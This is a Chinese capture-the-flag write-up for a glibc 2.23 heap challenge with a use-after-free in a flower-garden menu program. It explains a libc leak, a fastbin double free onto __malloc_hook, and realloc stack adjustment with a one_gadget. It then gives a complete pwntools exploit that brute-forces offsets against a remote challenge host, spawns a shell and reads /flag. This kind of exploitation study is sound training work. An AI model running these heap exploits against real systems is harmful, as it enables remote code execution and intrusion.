这个题本身没有难度,小难点在one_gadget+realloc偏移
堆题全保护就不用说了,漏洞在free时没有删指针
int m3free() { int result; // eax _DWORD *v1; // rax unsigned int v2; // [rsp+4h] [rbp-14h] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); if ( !unk_202024 ) return puts("No flower in the garden"); __printf_chk(1LL, "Which flower do you want to remove from the garden:"); __isoc99_scanf("%d", &v2); if ( v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL ) { *v1 = 0; //这里只清除了标记,不能show,但可以再次free free(*(void **)(qword_202040[v2] + 8LL)); result = puts("Successful"); } else { puts("Invalid choice"); result = 0; } return result; }
步骤:
- 先建4个块0x28,0x80,0x68,0x68。因为有管理块,为了不影响unsort先free一个0x30到fastbins
- 释放0,1 。再建0x80这里新建的0x80与释放的0x80是一块,再释放1就会留下fp, show就能得到libc
- 两个0x68 释放2,3,2形成double free环
- 再建4次0x68分别写malloc_hook-0x23,a,a,one_gadget
这个题在buuoj上是libc-2.23 one_gadget有4个,如果用realloc调栈有0,2,4,6,8,10,13,16,20有很多,所在在程序里可以爆破,省得一个个试太麻烦。当然也可以跟进去看栈的情况再确定怎么调,不过一般用到one肯定会成功,暴力更直接。
from pwn import * ''' patchelf --set-interpreter /home/shi/pwn/libc6_2.23/ld-2.23.so pwn patchelf --add-needed /home/shi/pwn/libc6_2.23/libc-2.23.so pwn ''' local = 0 def connect(): global p,libc_elf,one,libc_start_main_ret if local == 1: p = process('./pwn') libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so") one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ] libc_start_main_ret = 0x20840 else: p = remote('node4.buuoj.cn', 27319) libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so') one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ] libc_start_main_ret = 0x20830 elf = ELF('./pwn') context.arch = 'amd64' menu = b"Your choice : " def add(size, msg): p.sendlineafter(menu, b'1') p.sendlineafter(b"Length of the name :", str(size).encode()) p.sendlineafter(b"The name of flower :", msg) p.sendlineafter(b"The color of the flower :", b'A') def show(): p.sendlineafter(menu, b'2') def free(idx): p.sendlineafter(menu, b'3') p.sendlineafter(b"Which flower do you want to remove from the garden:", str(idx).encode()) def clean(): p.sendlineafter(menu, b'4') def pwn(one_idx, one_offset): add(0x28, b'0') add(0x80, b'1') add(0x68, b'2') add(0x68, b'3') free(0) free(1) add(0x80, b'4') free(1) show() p.recvuntil(b'flower[4] :') malloc_hook = u64(p.recvline()[:-1].ljust(8, b'x00')) -0x58 -0x10 libc_base = malloc_hook - libc_elf.sym['__malloc_hook'] one_gadget = libc_base + one[one_idx] realloc = libc_base + libc_elf.sym['realloc'] print('libc:', hex(libc_base)) #context.log_level = 'debug' free(2) free(3) free(2) add(0x68, p64(malloc_hook -0x23)) add(0x68, b'b') add(0x68, b'b') add(0x68, b'x00'*(3+8) + p64(one_gadget) + p64(realloc + one_offset)) #gdb.attach(p) #pause() p.sendlineafter(menu, b'1') p.sendline('echo -n AAAA') if b'AAAA' not in p.recv(): raise Exception('XXXX') p.sendline(b'cat /flag') p.interactive() for i in range(4): for j in [0,2,4,6,8,10,13,16,20]: try: print(f'Try one[{i},realloc+{j}') connect() pwn(i,j) except: print('...') p.close()
试到2 ,+20才成功,够黑的,如果手工基本上放弃了。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)